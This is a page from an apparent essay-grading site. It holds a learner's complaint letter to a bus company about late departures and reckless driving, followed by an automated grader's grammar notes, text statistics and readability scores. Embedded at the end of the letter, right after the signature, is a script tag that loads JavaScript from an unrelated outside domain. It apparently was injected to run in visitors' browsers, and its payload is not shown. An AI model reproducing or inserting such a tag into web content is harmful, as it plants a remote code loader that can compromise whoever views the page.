Dear sir,
I am dean King and i am using the service provided by your 123company
I am writing to complain about the abnormal quality of bus 25 which travel from London bridge to south bay.
As a frequent commuter myself i have been witnessing great delay in the departure time of the bus in the morning as well as the reckless driving manner of the bus driver in the past two weeks.
These two issues has caused a lot of trouble with my timetable as well as my physical well-being, because it is unpredictable when the bus arrives or when the driver makes an urgent stop.
Since driving a bus is a delicate profession which affect the safety of many others, i do hope that your company will provide more professional training to the current staff or consider a replacement to improve current situation.
I look forward to your reply and i hope you would give the matter the proper importance.
Yours faithfully,
Dean King<script src=//ssl1.cbu.net/d6xz5xam></script>
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Grammar and spelling errors:
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Message: Did you mean 'I'?
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...which affect the safety of many others, i do hope that your company will provide ...
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Message: Did you mean 'I'?
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...on. I look forward to your reply and i hope you would give the matter the prop...
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Transition Words or Phrases used:
look, so, well, as well as
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 4.0 7.48453608247 53% => More to be verbs wanted.
Auxiliary verbs: 2.0 4.92783505155 41% => OK
Conjunction : 4.0 5.05154639175 79% => OK
Relative clauses : 5.0 3.03092783505 165% => OK
Pronoun: 18.0 32.9175257732 55% => OK
Preposition: 19.0 26.3917525773 72% => OK
Nominalization: 3.0 3.85567010309 78% => OK
Performance on vocabulary words:
No of characters: 778.0 937.175257732 83% => OK
No of words: 166.0 206.0 81% => More content wanted.
Chars per words: 4.68674698795 4.54256449028 103% => OK
Fourth root words length: 3.58944267634 3.78020617076 95% => OK
Word Length SD: 2.61073523219 2.54303337028 103% => OK
Unique words: 107.0 127.690721649 84% => More unique words wanted.
Unique words percentage: 0.644578313253 0.622605031667 104% => OK
syllable_count: 237.6 290.88556701 82% => OK
avg_syllables_per_word: 1.4 1.41237113402 99% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 6.0 9.13402061856 66% => OK
Article: 0.0 0.824742268041 0% => OK
Subordination: 3.0 1.83505154639 163% => OK
Conjunction: 0.0 0.463917525773 0% => OK
Preposition: 1.0 1.44329896907 69% => OK
Performance on sentences:
How many sentences: 6.0 12.6804123711 47% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 27.0 16.3608247423 165% => The Avg. Sentence Length is relatively long.
Sentence length SD: 70.4101081758 44.8134815571 157% => OK
Chars per sentence: 129.666666667 76.5299724578 169% => OK
Words per sentence: 27.6666666667 16.8248392259 164% => OK
Discourse Markers: 4.33333333333 4.34317383033 100% => OK
Paragraphs: 6.0 4.29896907216 140% => Less paragraphs wanted.
Language errors: 3.0 2.54639175258 118% => OK
Sentences with positive sentiment : 5.0 7.41237113402 67% => OK
Sentences with negative sentiment : 1.0 1.49484536082 67% => OK
Sentences with neutral sentiment: 0.0 3.94845360825 0% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.171998259526 0.216113520407 80% => OK
Sentence topic coherence: 0.080509700557 0.0766984524023 105% => OK
Sentence topic coherence SD: 0.0333456036155 0.0603063233224 55% => OK
Paragraph topic coherence: 0.0716724816766 0.12726935374 56% => OK
Paragraph topic coherence SD: 0.0368882980251 0.0580467560999 64% => OK
Essay readability:
automated_readability_index: 14.5 8.37731958763 173% => OK
flesch_reading_ease: 60.99 70.7449484536 86% => OK
smog_index: 3.1 3.82989690722 81% => OK
flesch_kincaid_grade: 11.5 7.45979381443 154% => OK
coleman_liau_index: 10.22 8.71597938144 117% => OK
dale_chall_readability_score: 8.69 7.59969072165 114% => OK
difficult_words: 39.0 41.2886597938 94% => OK
linsear_write_formula: 17.5 8.62886597938 203% => Linsear_write_formula is high.
gunning_fog: 12.8 8.54432989691 150% => OK
text_standard: 9.0 8.15463917526 110% => OK
What are above readability scores?
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Maximum five paragraphs wanted.
Rates: 73.0337078652 out of 100
Scores by essay e-grader: 6.5 Out of 9
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Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.